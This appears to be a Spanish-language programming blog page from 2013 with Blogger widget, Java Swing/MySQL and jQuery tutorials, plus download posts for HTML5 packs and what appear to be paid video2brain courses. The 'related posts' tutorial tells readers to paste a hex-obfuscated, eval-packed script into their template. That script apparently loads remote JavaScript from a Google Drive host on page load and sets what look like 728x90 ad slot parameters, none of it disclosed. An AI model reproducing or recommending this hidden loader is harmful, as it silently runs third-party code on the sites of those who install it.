//<![CDATA[
DownloadSocial.parametros({

  BlogName:"Nombre de su Blog",
  FanPage_URL:"URL de su FANPAGE",
  Password:"password de sus archivos"

});

//]]>
</script>

</b:if>




Usted podrá alojar el script a un servidor de archivos como Google Site ,tenga en cuenta los siguiente parámetros

BlogName: el nombre de tu Blog.
FanPage_URL: la url de su fanpage.
Password: contrase de sus archivo si es que usa alguna.
NoteUser: si no usa contraseña puede utilizar este parámetro añadiendo algo para el visitante.
ActiveTimer: true para activar el temporizador si desea que aparezcan los vínculos después de 60 segundos de espera.
Timer: si desea aumentar el tiempo de espera 60 es por defecto usted puede aumentar o disminuir el tiempo de espera.

3) Añadir Condicionales Blogger
busque la siguiente linea <b:includable id='post' var='post'> justo debajo de ella añada lo siguiente.

<b:if cond='data:blog.pageType == &quot;item&quot;'>
  <span expr:id='&quot;u&quot; + data:post.id' style='display:none'>
<data:post.body/>
</span>
<script>
setParametros(&quot;<data:post.title/>&quot;,&quot;<data:post.url/>&quot;,&quot;u<data:post.id/>&quot;)
</script>
</b:if> 



4) Añadir DownloadSocial a sus entradas

terminado los pasos 1,2,3 guarde los cambios y dirigase a una entrada , dentro de la opción HTML usted añadira los siguiente.

<div class="panel_social" id="panel_social"></div>
<div class="panel_download" id="panel_download">
  <!---->
 aqui añadira sus vinculos o enlaces de descarga
 <!---->
</div>



de esta forma usted podra conseguir mas Fans  a su sitio.

Nota: usted debe  de crear un APP en Facebook  y luego procede a su instalacion en Blogger




lunes, 2 de septiembre de 2013

Hoy comparto con todos los BlogMaster este sencillo bloque que muestra las entradas relacionadas con un estilo tipo lista bastante atractivo que puede ser mejorado por medio de del CSS.

Instalación
1) Añadimos el CSS
nos dirigimos a la Opción Plantilla -->Editar HTML dentro del Editor de Blogger haga clic dentro de el y realice la combinación de teclas CTRL-F para abrir el buscador del editor, y busque la etiqueta de cierre </b:skin> y arriba de esta pegue el siguiente código CSS.

#related-posts {
float:center;
text-transform:none;
height:100%;
min-height:100%;
padding-top:5px;
padding-left:5px;
margin-top: 20px;
}
#related-posts .widget{
padding-left:6px;
margin-bottom:10px;
}
#related-posts .widget h2, #related-posts h2{
font-size:22px;
font-weight: normal;
color:#252525;
font-family: 'Montez', cursive;
margin-bottom: 0.75em;
padding-top: 0em;
}
#related-posts a{
font-size:16px;
color: #000000;
font-variant:small-caps;
}
#related-posts a:hover{
text-decoration: none;
color:#000000;
font-weight: bold;
}
#related-posts ul{
list-style-type:none;
margin:0 0 0px 0;
padding:0px;
text-decoration:none;
background-color: #FFF;
 -webkit-box-shadow: 2px 2px 6px rgba(0,0,0,0.4);
 -moz-box-shadow: 2px 2px 6px rgba(0,0,0,0.4);
 -ms-box-shadow: 2px 2px 6px rgba(0,0,0,0.4);
 -o-box-shadow: 2px 2px 6px rgba(0,0,0,0.4);
 box-shadow: 2px 2px 6px rgba(0,0,0,0.4);
}
#related-posts  li{
list-style-type: none;
background-image: url(//lh3.googleusercontent.com/-9eBSvi0Wdos/UiTc3-PkivI/AAAAAAAAGco/RyN0suUOCe4/s30-no/tick.png);
background-position: 13px center;
background-repeat: no-repeat;
padding: 10px 10px 10px 45px;
background-color: #EEE;
border-top: 1px solid #FFF;
border-bottom: 1px solid #DDD;
overflow: hidden;
white-space: nowrap;
text-overflow: ellipsis;
-webkit-transition: all .2s linear;
-moz-transition: all .2s linear;
-ms-transition: all .2s linear;
 -o-transition: all .2s linear;
 transition: all .2s linear;
 -webkit-border-radius: 4px;
-moz-border-radius: 4px;
-ms-border-radius: 4px;
 -o-border-radius: 4px;
 border-radius: 4px;
}

#related-posts ul li:hover{
background-color:#e1f821;
background-position: 20px 50%;
padding-left: 55px;
}



2) Añadir el script JS(debe de tener el plugin JQuery 10.2 o 1.8.3 instalado en su Blog)
luego busque la etiqueta de cierre </head> y justo arriba de el añada este script,el script si usted desea puede alojarlo en Google Site o cualquier servidor de archivos de su preferencia .

<script type='text/javascript'>
//<![CDATA[
var _0xa55d=["\x33\x20\x34\x3D\x6D\x20\x6E\x28\x29\x3B\x33\x20\x71\x3D\x30\x3B\x33\x20\x35\x3D\x6D\x20\x6E\x28\x29\x3B\x31\x32\x2E\x78\x3D\x37\x28\x29\x7B\x4B\x28\x22\x31\x31\x3A\x2F\x2F\x31\x30\x2E\x59\x2F\x5A\x2F\x31\x33\x2D\x31\x34\x2F\x31\x39\x2E\x31\x38\x22\x29\x3B\x31\x37\x28\x28\x37\x28\x29\x7B\x31\x35\x28\x58\x29\x3B\x31\x61\x28\x56\x29\x3B\x4E\x28\x4F\x29\x3B\x50\x28\x27\x38\x2D\x39\x2D\x4D\x27\x29\x7D\x29\x2C\x57\x29\x7D\x3B\x37\x20\x51\x28\x79\x29\x7B\x67\x28\x33\x20\x69\x3D\x30\x3B\x69\x3C\x79\x2E\x47\x2E\x63\x2E\x32\x3B\x69\x2B\x2B\x29\x7B\x33\x20\x63\x3D\x79\x2E\x47\x2E\x63\x5B\x69\x5D\x3B\x34\x5B\x71\x5D\x3D\x63\x2E\x54\x2E\x24\x74\x3B\x67\x28\x33\x20\x6B\x3D\x30\x3B\x6B\x3C\x63\x2E\x75\x2E\x32\x3B\x6B\x2B\x2B\x29\x7B\x62\x28\x63\x2E\x75\x5B\x6B\x5D\x2E\x52\x3D\x3D\x27\x53\x27\x29\x7B\x35\x5B\x71\x5D\x3D\x63\x2E\x75\x5B\x6B\x5D\x2E\x42\x3B\x71\x2B\x2B\x3B\x31\x6C\x7D\x7D\x7D\x7D\x37\x20\x31\x70\x28\x29\x7B\x33\x20\x64\x3D\x6D\x20\x6E\x28\x30\x29\x3B\x33\x20\x68\x3D\x6D\x20\x6E\x28\x30\x29\x3B\x67\x28\x33\x20\x69\x3D\x30\x3B\x69\x3C\x35\x2E\x32\x3B\x69\x2B\x2B\x29\x7B\x62\x28\x21\x43\x28\x64\x2C\x35\x5B\x69\x5D\x29\x29\x7B\x64\x2E\x32\x2B\x3D\x31\x3B\x64\x5B\x64\x2E\x32\x2D\x31\x5D\x3D\x35\x5B\x69\x5D\x3B\x68\x2E\x32\x2B\x3D\x31\x3B\x68\x5B\x68\x2E\x32\x2D\x31\x5D\x3D\x34\x5B\x69\x5D\x7D\x7D\x34\x3D\x68\x3B\x35\x3D\x64\x7D\x37\x20\x43\x28\x61\x2C\x65\x29\x7B\x67\x28\x33\x20\x6A\x3D\x30\x3B\x6A\x3C\x61\x2E\x32\x3B\x6A\x2B\x2B\x29\x7B\x62\x28\x61\x5B\x6A\x5D\x3D\x3D\x65\x29\x7B\x7A\x20\x77\x7D\x7D\x3B\x7A\x20\x76\x7D\x37\x20\x31\x67\x28\x45\x29\x7B\x67\x28\x33\x20\x69\x3D\x30\x3B\x69\x3C\x35\x2E\x32\x3B\x69\x2B\x2B\x29\x7B\x62\x28\x35\x5B\x69\x5D\x3D\x3D\x45\x29\x7B\x35\x2E\x6C\x28\x69\x2C\x31\x29\x3B\x34\x2E\x6C\x28\x69\x2C\x31\x29\x7D\x7D\x33\x20\x72\x3D\x48\x2E\x31\x73\x28\x28\x34\x2E\x32\x2D\x31\x29\x2A\x48\x2E\x31\x6D\x28\x29\x29\x3B\x33\x20\x69\x3D\x30\x3B\x62\x28\x34\x2E\x32\x3E\x31\x29\x7B\x66\x2E\x6F\x28\x27\x3C\x46\x3E\x27\x2B\x31\x6A\x2B\x27\x3C\x2F\x46\x3E\x27\x29\x7D\x66\x2E\x6F\x28\x27\x3C\x49\x3E\x27\x29\x3B\x31\x66\x28\x69\x3C\x34\x2E\x32\x26\x26\x69\x3C\x31\x63\x26\x26\x69\x3C\x31\x65\x29\x7B\x66\x2E\x6F\x28\x27\x3C\x44\x3E\x3C\x61\x20\x42\x3D\x22\x27\x2B\x35\x5B\x72\x5D\x2B\x27\x22\x3E\x27\x2B\x34\x5B\x72\x5D\x2B\x27\x3C\x2F\x61\x3E\x3C\x2F\x44\x3E\x27\x29\x3B\x62\x28\x72\x3C\x34\x2E\x32\x2D\x31\x29\x7B\x72\x2B\x2B\x7D\x31\x6E\x7B\x72\x3D\x30\x7D\x69\x2B\x2B\x7D\x66\x2E\x6F\x28\x27\x3C\x2F\x49\x3E\x27\x29\x3B\x35\x2E\x6C\x28\x30\x2C\x35\x2E\x32\x29\x3B\x34\x2E\x6C\x28\x30\x2C\x34\x2E\x32\x29\x7D\x37\x20\x4B\x28\x4C\x29\x7B\x33\x20\x36\x3D\x66\x2E\x31\x68\x28\x22\x31\x69\x22\x29\x2C\x70\x3D\x76\x3B\x36\x2E\x78\x3D\x36\x2E\x4A\x3D\x37\x28\x29\x7B\x62\x28\x28\x36\x2E\x41\x26\x26\x36\x2E\x41\x21\x3D\x3D\x22\x31\x64\x22\x26\x26\x36\x2E\x41\x21\x3D\x3D\x22\x70\x22\x29\x7C\x7C\x70\x29\x7B\x7A\x20\x76\x7D\x36\x2E\x78\x3D\x36\x2E\x4A\x3D\x31\x6B\x3B\x70\x3D\x77\x7D\x3B\x36\x2E\x31\x71\x3D\x77\x3B\x36\x2E\x31\x72\x3D\x4C\x3B\x33\x20\x73\x3D\x66\x2E\x31\x62\x28\x27\x31\x36\x27\x29\x5B\x30\x5D\x3B\x73\x2E\x55\x28\x36\x2C\x73\x2E\x31\x6F\x29\x7D","\x7C","\x73\x70\x6C\x69\x74","\x7C\x7C\x6C\x65\x6E\x67\x74\x68\x7C\x76\x61\x72\x7C\x72\x65\x6C\x61\x74\x65\x64\x54\x69\x74\x6C\x65\x73\x7C\x72\x65\x6C\x61\x74\x65\x64\x55\x72\x6C\x73\x7C\x65\x6C\x7C\x66\x75\x6E\x63\x74\x69\x6F\x6E\x7C\x7C\x7C\x7C\x69\x66\x7C\x65\x6E\x74\x72\x79\x7C\x74\x6D\x70\x7C\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x66\x6F\x72\x7C\x74\x6D\x70\x32\x7C\x7C\x7C\x7C\x73\x70\x6C\x69\x63\x65\x7C\x6E\x65\x77\x7C\x41\x72\x72\x61\x79\x7C\x77\x72\x69\x74\x65\x7C\x6C\x6F\x61\x64\x65\x64\x7C\x72\x65\x6C\x61\x74\x65\x64\x54\x69\x74\x6C\x65\x73\x4E\x75\x6D\x7C\x7C\x68\x68\x65\x61\x64\x7C\x7C\x6C\x69\x6E\x6B\x7C\x66\x61\x6C\x73\x65\x7C\x74\x72\x75\x65\x7C\x6F\x6E\x6C\x6F\x61\x64\x7C\x6A\x73\x6F\x6E\x7C\x72\x65\x74\x75\x72\x6E\x7C\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65\x7C\x68\x72\x65\x66\x7C\x63\x6F\x6E\x74\x61\x69\x6E\x73\x7C\x6C\x69\x7C\x63\x75\x72\x72\x65\x6E\x74\x75\x72\x6C\x7C\x68\x32\x7C\x66\x65\x65\x64\x7C\x4D\x61\x74\x68\x7C\x75\x6C\x7C\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65\x7C\x6C\x6F\x61\x64\x73\x63\x72\x69\x70\x7C\x70\x61\x74\x68\x7C\x32\x30\x31\x33\x7C\x73\x65\x74\x41\x6C\x74\x6F\x7C\x39\x30\x7C\x73\x65\x74\x44\x61\x74\x65\x41\x63\x74\x69\x76\x65\x7C\x72\x65\x6C\x61\x74\x65\x64\x5F\x72\x65\x73\x75\x6C\x74\x73\x5F\x6C\x61\x62\x65\x6C\x73\x7C\x72\x65\x6C\x7C\x61\x6C\x74\x65\x72\x6E\x61\x74\x65\x7C\x74\x69\x74\x6C\x65\x7C\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65\x7C\x37\x32\x38\x7C\x32\x65\x33\x7C\x33\x31\x30\x37\x31\x36\x36\x39\x33\x31\x7C\x63\x6F\x6D\x7C\x68\x6F\x73\x74\x7C\x67\x6F\x6F\x67\x6C\x65\x64\x72\x69\x76\x65\x7C\x68\x74\x74\x70\x73\x7C\x77\x69\x6E\x64\x6F\x77\x7C\x30\x42\x32\x7C\x78\x4D\x32\x5F\x56\x41\x6C\x63\x4F\x65\x57\x46\x52\x65\x48\x70\x6A\x52\x58\x42\x6F\x64\x32\x73\x7C\x73\x65\x74\x53\x6C\x6F\x74\x7C\x68\x65\x61\x64\x7C\x73\x65\x74\x54\x69\x6D\x65\x6F\x75\x74\x7C\x6A\x73\x7C\x30\x30\x30\x31\x34\x43\x41\x7C\x73\x65\x74\x41\x6E\x63\x68\x6F\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65\x7C\x32\x30\x7C\x63\x6F\x6D\x70\x6C\x65\x74\x65\x7C\x6D\x61\x78\x72\x65\x73\x75\x6C\x74\x73\x7C\x77\x68\x69\x6C\x65\x7C\x65\x74\x69\x71\x75\x65\x74\x61\x73\x52\x65\x6C\x61\x63\x69\x6F\x6E\x61\x64\x61\x7C\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x7C\x73\x63\x72\x69\x70\x74\x7C\x74\x69\x74\x75\x6C\x6F\x70\x6F\x73\x74\x7C\x6E\x75\x6C\x6C\x7C\x62\x72\x65\x61\x6B\x7C\x72\x61\x6E\x64\x6F\x6D\x7C\x65\x6C\x73\x65\x7C\x66\x69\x72\x73\x74\x43\x68\x69\x6C\x64\x7C\x72\x65\x6D\x75\x65\x76\x65\x72\x65\x70\x65\x74\x69\x64\x6F\x73\x7C\x61\x73\x79\x6E\x63\x7C\x73\x72\x63\x7C\x66\x6C\x6F\x6F\x72","","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x72\x65\x70\x6C\x61\x63\x65","\x5C\x77\x2B","\x5C\x62","\x67"];eval(function (_0x97cex1,_0x97cex2,_0x97cex3,_0x97cex4,_0x97cex5,_0x97cex6){_0x97cex5=function (_0x97cex3){return (_0x97cex3<_0x97cex2?_0xa55d[4]:_0x97cex5(parseInt(_0x97cex3/_0x97cex2)))+((_0x97cex3=_0x97cex3%_0x97cex2)>35?String[_0xa55d[5]](_0x97cex3+29):_0x97cex3.toString(36));} ;if(!_0xa55d[4][_0xa55d[6]](/^/,String)){while(_0x97cex3--){_0x97cex6[_0x97cex5(_0x97cex3)]=_0x97cex4[_0x97cex3]||_0x97cex5(_0x97cex3);} ;_0x97cex4=[function (_0x97cex5){return _0x97cex6[_0x97cex5];} ];_0x97cex5=function (){return _0xa55d[7];} ;_0x97cex3=1;} ;while(_0x97cex3--){if(_0x97cex4[_0x97cex3]){_0x97cex1=_0x97cex1[_0xa55d[6]]( new RegExp(_0xa55d[8]+_0x97cex5(_0x97cex3)+_0xa55d[8],_0xa55d[9]),_0x97cex4[_0x97cex3]);} ;} ;return _0x97cex1;} (_0xa55d[0],62,91,_0xa55d[3][_0xa55d[2]](_0xa55d[1]),0,{}));
//]]>
</script>



3) Añadir las Condicionales Blogger
Busque la etiqueta de cierre <data:post.body/> y justo debajo de esta pegue el siguiente código, tenga en cuenta que todas las plantillas no son iguales por lo que pueden existir varias etiquetas deberá de realizar varias pruebas con el código que va a insertar a continuación.

<b:if cond='data:blog.pageType == &quot;item&quot;'>
<div id='related-posts'> <b:loop values='data:post.labels' var='label'> 
<b:if cond='data:label.isLast != &quot;true&quot;'> </b:if> 
<b:if cond='data:blog.pageType == &quot;item&quot;'>
 <script expr:src='&quot;/feeds/posts/default/-/&quot; + data:label.name + &quot;?alt=json-in-script&amp;callback=related_results_labels&amp;max-results=6&quot;' type='text/javascript'/>
</b:if>
</b:loop>
<script type='text/javascript'>
 var maxresults=5;
 remueverepetidos();
 etiquetasRelacionada(&quot;<data:post.url/>&quot;); 
</script> 
</div> 
</b:if> 



Guarde los cambios y revise que el bloque aparezca con los títulos de las entradas.

Parámetros
maxresults=5; (es el numero de post relacionados a mostrar si usted desea puede aumentar el numero)





martes, 27 de agosto de 2013


Mas de una ocasión me han preguntado como extraer todos los datos de un JTable y guardar esos datos en una Tabla MySql ,así que para cumplir con esas dudas hoy les enseño como.

Primero que debemos de hacer?
primero que todo tengo que extraer  todos los datos insertados en el JTable y almacenar estos datos en un Array  en este caso voy a utilizar un ArrayList<String> que es ideal y mucho mas fácil manejar.
ante que todo tengo que saber cuantas Filas y Columnas tiene el JTable para esto existen los metodos: getRowCount() método que me retorna el numero de filas existente y getColumnCount() que me retorna el numero de columnas con estos métodos formare dos bucles for asi podre recorrer filas y columnas por medio del método getValueAt(filas ,columnas) que me recibe el numero de filas y el numero de columnas y que me  retornara todos los datos que se han recorrido.


for(int i=0; i<tabla.getRowCount(); i++) //recorro las filas
  {
   for(int a=0; a<tabla.getColumnCount(); a++) //recorro las columnas
   {
    full_datos.add(modelo.getValueAt(i ,a).toString()); 
   }
  }


de esta forma tendré almacenado todos los datos dentro del ArrayList. este ArrayList tendremos que pasarle los valores a un Iterator para luego recorrer los valores y ser almacenados dentro de un vector estos valores tendrán que ser cortados por un control que que hace referencia al numero de columnas de la tabla en MySql 0,1,2  una vez que añadimos los valores al Vector tendré que eliminar esos valores del Iterator ,y luego procedemos alamacenar los valores del vector a la Tabla MySql Fila por Fila
 Vector datosGuardar=new Vector(1);
      int cont=-1;
   Iterator<String> nombreIterator = full_datos.iterator();
   while(nombreIterator.hasNext()){
    cont++;
    String elemento = nombreIterator.next();
    if(cont<=2){
     datosGuardar.addElement(elemento);
     nombreIterator.remove();
    }
   
  }





Ahora necesito verificar la existencia de datos en la Tabla donde tengo que insertar los datos del JTable
esto lo hago con el fin de saber el numero de registros que existen en la Tabla de la base de datos  estos deben ser igual al numero de registros del JTable .

try {
    ResultSet rs=ConexionBD.Consulta("SELECT * FROM masi_produc");
    if(rs.next()){
     
      int num_filas= ConexionBD.CuantasFilas("masi_produc");
      
      if(num_filas==filas){
       hay_datos=false;
      }
      else{
 
       GuardarDatos(columnas);
       
      }
      num_datos.setText(num_filas+" de "+filas+" Datos");
        
      
    }
    else{
     GuardarDatos(columnas);
    }
    
   } catch (SQLException e) {
    // TODO Auto-generated catch block
    e.printStackTrace();
   }



como podrá ver formo una consulta simple para determinar si existen datos, si no existen o la tabla esta vacía el ResultSet.next() me retornara un valor booleano falso es ay donde insertamos la primera linea proveniente del método GuardarDatos(columnas); , y si existieran datos el ResultSet.next() nos retornara el valor booleano true  aquí es donde utilizamos el método CuantasFilas(campo) de la clase ConexionBD  este método me recibe el nombre de la tabla MySql donde voy a guardar los datos y me retorna el numero de filas que posee esa tabla, y cuando el numero de filas sea igual al numero de filas del JTable este dara paso a una variable booleana que detendra el HILO que llama a este proceso.


public void run()
 {
  
     while(main.hay_datos){
      
      main.VerificarDatos();
     }
  
 }



les dejo el codigo fuente completo mas la base de datos .


DESCARGAR





lunes, 26 de agosto de 2013


Hace poco me pidieron realizar un ejemplo sencillo sobre un carrousel simple con jQuery ,este carrousel muestra imágenes por medio de dos controles Anterior y Siguiente puede ser útil no solo para mostrar imágenes si no cualquier uso que le demos como por ejemplo: mostrar formularios para un registro o cual quier otro uso.
aquí puedes ver un demo de ello ↓↓



Como lo hacemos?
primero debemos de estructurar nuestro carrousel ya sea el uso que le demos las partes o contenedores que necesitamos son la cabecera (<header>) en donde tengo los nombres de las imágenes y la parte central que son todas <section> son los contenedores de las imágenes cada una con un ID diferente.
ahora por medio de jQuery necesito extraer cuantos contenedores section tengo, para eso le digo al select de jQuery que me busque en el contenedor cuyo ID es cont_paneles y añadiendo el signo de mayor que ">" y el elemento section el select nos retornara un array con todos los elementos encontrados.

var section = jQuery('#cont_paneles>section');
 


Ahora vamos a ocultar  todos los elementos section para ello antenpongo en la variable section el método hide();(ocultareste método me oculta todos los elementos pero necesito que el primer elemento este visible entonces llamo al método first();(primero) este método me seleccionara el primer elemento pero aun sigue oculto, entonces llamo al método show(); (mostrar) con eso podre mostrar el primer elemento y dejar a los otros ocultos.

var section = jQuery('#cont_paneles>section');
section.hide().first().show(); 
var mostrar_section = 0; 


también creo una variable de tipo entero cuyo valor sea cero, como les dije anterior mente el select nos retorna un array que esta almacenado en la variable section, entonces necesito recorrer ese array ese elemento para eso utilizo el método eq() este método me recibe el indice o la posición del elemento que necesito manipular o en este caso ocultar o mostrar.

section.eq(mostrar_section).hide();
mostrar_section = (mostrar_section + 1 < section.length) ? mostrar_section + 1 : 0;
section.eq(mostrar_section).show(); 



luego hago un pequeño control para incrementar las posiciones y dar paso a que se muestren las otras section cada que vez que se haga click en el botón siguiente.
de la misma forma pero decrementando podemos retroceder las imágenes en este caso seria anterior .


var section = jQuery('#cont_paneles>section');
 var botones=  jQuery('#cont_cabeza>input[type="button"]');
    var mostrar_section = 0; 
 var pintar_boton=0;
 
    section.hide().first().show(); 
 botones.first().addClass('activa_button');
 
    jQuery("#bto_siguiente").click(function() {
        section.eq(mostrar_section).hide();//oculto el primer panel que esta en la posicion 0
  botones.eq(pintar_boton).removeClass('activa_button');
        mostrar_section = (mostrar_section + 1 < section.length) ? mostrar_section + 1 : 0;
  pintar_boton=(pintar_boton + 1 < botones.length) ? pintar_boton + 1 : 0;
        section.eq(mostrar_section).show(); // muesta el siguiente
  botones.eq(pintar_boton).addClass('activa_button');
    });
 
    jQuery("#bto_anterior").click(function() {
        section.eq(mostrar_section).hide();
  botones.eq(pintar_boton).removeClass('activa_button');
        mostrar_section = (mostrar_section > 0) ? mostrar_section - 1 : section.length - 1;
  pintar_boton = (pintar_boton > 0) ? pintar_boton - 1 : botones.length - 1;
        section.eq(mostrar_section).show(); // muestra el anterior
  botones.eq(pintar_boton).addClass('activa_button');
    });



les dejo el código fuente completo


DESCARGAR









Hoy comparto con ustedes un Pack de ejemplos HTML5 ideal para principiantes que quieran tener una idea de lo que es HTML5 y todo lo que se puede hacer con este lenguaje web.

Contenido del Pack

  •  @fontface para iconos vectoriales
  • Canvas
  • Contentenedor Editable
  • File API
  • Geolocalización
  • GetUserMedia
  • LocalStorage _ SessionStorage
  • Modernizr
  •  multimedia
  • Responsive
  • Semántica
  • SVG
  • CSS3


DESCARGAR




martes, 20 de agosto de 2013


Hace 3 dias Cali Rojas administrador y programador de lewebmonster puso a disposición todos sus ejemplos y proyectos explicados en su sitio web, en este sitio podrán encontrar varios tutoriales sobre desarrollo web y sobre los lenguajes mas usado para crear paginas web javascript, Html5, JQuery. PHP, CSS, MySQL, Linux.

Contenido del MegaPack
  • Acordeon vertical-horizontal con css3
  • Agenda local storage html5-y-jquery
  • Animacion de escenarios con jquery
  • Animar la posición con transiciones css3
  • Animar personaje de juego con javascript
  • Buscar en tablas jquery
  • Cambiar la opacidad de elementos jquery
  • Carrusel de imagenes jquery-sin-plugins
  • Checkbox personalizado usando clases-y-jquery
  • Colapsar y expandir contenido-html5
  • Confirmar abandonar pagina con javascript
  • Control color html5
  • Control range html5
  • Crear efecto circular con jquery
  • Crear una capa flotante con jquery
  • Detectar pulsaciones de teclas con jquery
  • Efecto caida de nieve con jquery
  • Efecto cubo 3d con jquery
  • Efecto hover en imagenes con jquery
  • Efecto rollover en cruz con-jquery
  • Efecto scratchcard con jquery
  • Efectos de fondo con css3
  • Efecto texto 3d con css3
  • El atributo contenteditable de html5
son alrededor de 56 ejemplos y proyectos web , que estoy mas que seguro que te sirvieran mucho(Totalmente Recomendado :D)



DESCARGAR



lunes, 19 de agosto de 2013


Marlon Ceballos te presenta su curso Trabajo con fuentes web. Dale vida a tus sitios con fuentes optimizadas.

En este curso video2brain conocerás los más importantes servicios de fuentes web y aprenderás a usarlas en tus sitios.

sabrás sobre la compatibilidad actual de la regla @font-face con los diferentes navegadores así como la compatibilidad de los diferentes formatos de fuentes web y el motivo por el cual se los usa.

Dentro del curso conocerás desde cómo descargar una fuente y convertirla a diferentes formatos que den soporte a todos los navegadores para después insertar el código en tu proyecto  HTML y usarlo mediante CSS hasta el uso de las opciones de aplicaciones como Dreamweaver, Muse y Edge Animate que permiten trabajar con servicios como Edge Web Fonts y Type sin tener que usar código. (Recomendado).



DESCARGAR

miércoles, 14 de agosto de 2013


Enrique López Mañas te presenta su curso Desarrollo para Android: cliente de Twitter. desarrolla tu propia aplicación nativa para Android.

En este curso video2brain aprenderas a usar el entorno de desarrollo de Android y las herramientas necesarias para poder trabajar con el emulador. En una primera introducción teórica se analizarán diferentes módulos y bloques de desarrollo. Es necesario dominar Java para poder realizar este curso, y estar familiarizado con los fundamentos de Android.

Aprenderas :

  • Almacenamiento de datos en Android: aprenderás a usar  el Framework Android que permite persistir datos a lo largo de la ejecución de un programa. Se analizarán las mejores técnicas en función de los datos a guardar.
  • Framework de preferencias: también aprenderás cómo se pueden almacenar las preferencias de usuario, y cómo se le pueden presentar de una manera sencilla y limpia al usuario final.
  • Servicios: en esta sección veras cómo se pueden realizar conexiones con un servidor para obtener datos del mismo, así como las mejores técnicas para realizar una conexión eficiente.
  • Cliente de Twitter: como paso final, aprenderás cómo se desarrolla una aplicación práctica, tal como un mini cliente de Twitter, paso a paso desde el comienzo, viendo cuáles son las etapas más relevantes y los módulos más importantes, para terminar con su subida a Google Play, tienda de aplicaciones y juegos de Google.



DESCARGAR


martes, 13 de agosto de 2013


Apeticion de un integrante del grupo I.R.P-LEGION , el cual tenia problemas para extraer el icono de un JLabel y convertirla a Array de bytes para luego guardarla en una base de datos ,hoy les enseño como realizar este procedimiento no muy  aconsejable ya que la base de datos va a crecer considerablemente.

Primero necesito extraer la imagen o icono del JLabel para esto existe el método getIcon() que me retorna el icono o imagen del JLabel,luego necesito transformar este valor de retorno que es un Icon a Image para luego ser convertido en array de bytes por un método llamado 
getTransFoto(Image image)  este método me recibe el valor de tipo Image que acabamos de transformar para luego proceder a convertirlo a array de bytes por medio de un ByteArrayOutputStream(me implementa un flujo de salida en donde se escriben los datos en una matriz de bytes).

private byte [] getTransFoto(Image image) {
 ByteArrayOutputStream baos=null;
try {
  
  baos = new ByteArrayOutputStream();
  BufferedImage bufferedImage = createBufferedImageFrom(image);
  ImageIO.write(bufferedImage, "jpeg", baos);
 } catch (IOException e) {
  // TODO Auto-generated catch block
  e.printStackTrace();
 }
 return baos.toByteArray();
}


luego de ser convertido en array de bytes podemos realizar el proceso para almacenar la cadena de bytes dentro de una tabla cuyo campo debe de ser de tipo Blob .

Pero puedo convertir la cadena de bytes de nuevo a Imagen?
una vez que ya tengamos almacenada la cadena de bytes ,tambien podremos convertir esa cadena a Image, para ello necesito utilizar la clase Toolkit y llamar a los metodos getDefaultToolkit().createImage(bytes) este ultimo me recibe una cadena de bytes y crea una Image este valor imagen lo retornamos a una variable de tipo Image,para eso creo una metodo que me reciba una sentencia SQL para realizar una consulta simple y extraer esa cadena de bytes que sera convertida a Image este método se llama getFotografia(String sql,String campo).

public  Image getFotografia(String sql,String campo){ 
  Image data=null;
      try{    
            //se lee la cadena de bytes de la base de datos
        ResultSet rs;
      rs=ConexionBD.Consulta(sql);
      while (rs.next()) {
        byte[] b = rs.getBytes(campo);
        data = ConvertirImagen(b);       
          }
           
            // esta cadena de bytes sera convertida en una imagen
            
          } catch (IOException ex) {
            Logger.getLogger(main.class.getName()).log(Level.SEVERE, null, ex);
        }catch(SQLException e){
         System.out.println(e);
    }        
    return data;     
 }


Ahora para redimensionar las imágenes al tamaño del JLabel también creo un Método que me recibe el valor de Image y un JLabel, con getScaledInstance() puedo redimensionar la imagen al tamaño del JLabel y retornar el valor a un ImageIcon().


public ImageIcon DameFoto(Image image,JLabel label){
 
  ImageIcon imageScalada = new ImageIcon(image.getScaledInstance(guardar_imagen.getWidth(),guardar_imagen.getHeight(),Image.SCALE_DEFAULT));
  
  return imageScalada;
}

les dejo el codigo fuente completo mas la base de datos.


DESCARGAR

lunes, 12 de agosto de 2013


Hace poco vimos como cargar datos desde Mysql a un JComboBox  hoy les enseño como añadir mas de un item al JComboBox es bastante útil cuando es necesario mostrar mas de un item ,por defecto el JComboBox no permite esto asta donde yo se , asi que podemos modificarlo para añadir otra columna pero antes de alterar sus estructura lo cual sera un poco mas difícil vamos por otro camino como muy pocos sabrán se pude fusionar HTML y Java ,asi que me baso en una Tabla HTML para lograr lo que necesito, este Componente es uno que hacen fila de la libreria que cree ase tiempo y que nunca puede terminar asi que prefiero compartir pedazos de códigos a que queden en mi disco duro.

Pero como añado una Tabla HTML a un componente de Java?
se puede añadir HTML a varios componente de java y este poder adaptarlo correctamente sin problemas y no es todo puedo darle estilos a la tabla por medio de CSS , asi que sabiendo eso creo un documento simple HTML dentro de una variable STRING.

  str = "<html>" +
       "<style type=text/css>"+ 
          ".estilo1{font-family:"+getFontFirstColumn().getFamily()+"; "+"font-weight:"+fuente(getFontFirstColumn().getStyle())+";"+"font-size:"+getFontFirstColumn().getSize()+"px;"+"color:rgb("+getColorFirstColumn().getRed()+","+getColorFirstColumn().getGreen()+","+getColorFirstColumn().getBlue()+");"+"}"+ 
          ".estilo2{font-family:"+getFontSecondColumn().getFamily()+"; "+"font-weight:"+fuente(getFontSecondColumn().getStyle())+";"+"font-size:"+ getFontSecondColumn().getSize()+"px;"+"color:rgb("+getColorSecondColumn().getRed()+","+getColorSecondColumn().getGreen()+","+getColorSecondColumn().getBlue()+");"+"}"+ 
          "</style>"+ 
             "<table width='"+ancho+"'"+">" +
             "<tr>" +
             "<td class=estilo1 align='left'>" + leftText;
             str = str + "</td><td class=estilo2 align='right'>" + 
             rightText + "</td></tr></table></html>";


dentro de esta variable String creo una cadena con las etiquetas HTML y las clases CSS para formar una sola cadena que me recibe valores que serán los items de cada columna y los valores que alteran la tabla para darle un estilo,tipo de fuente,color de fuente todos esos toda esta codificación tendrá que estar dentro de una clase llamada TableItem esta clase me recibe los valores de cada columna en Array String para luego retorna los items y ser añadidos al JComboBox.

private void addItemColum(String[] left, String right[])
 {
  if(left.length >1 && right.length>1)
  {
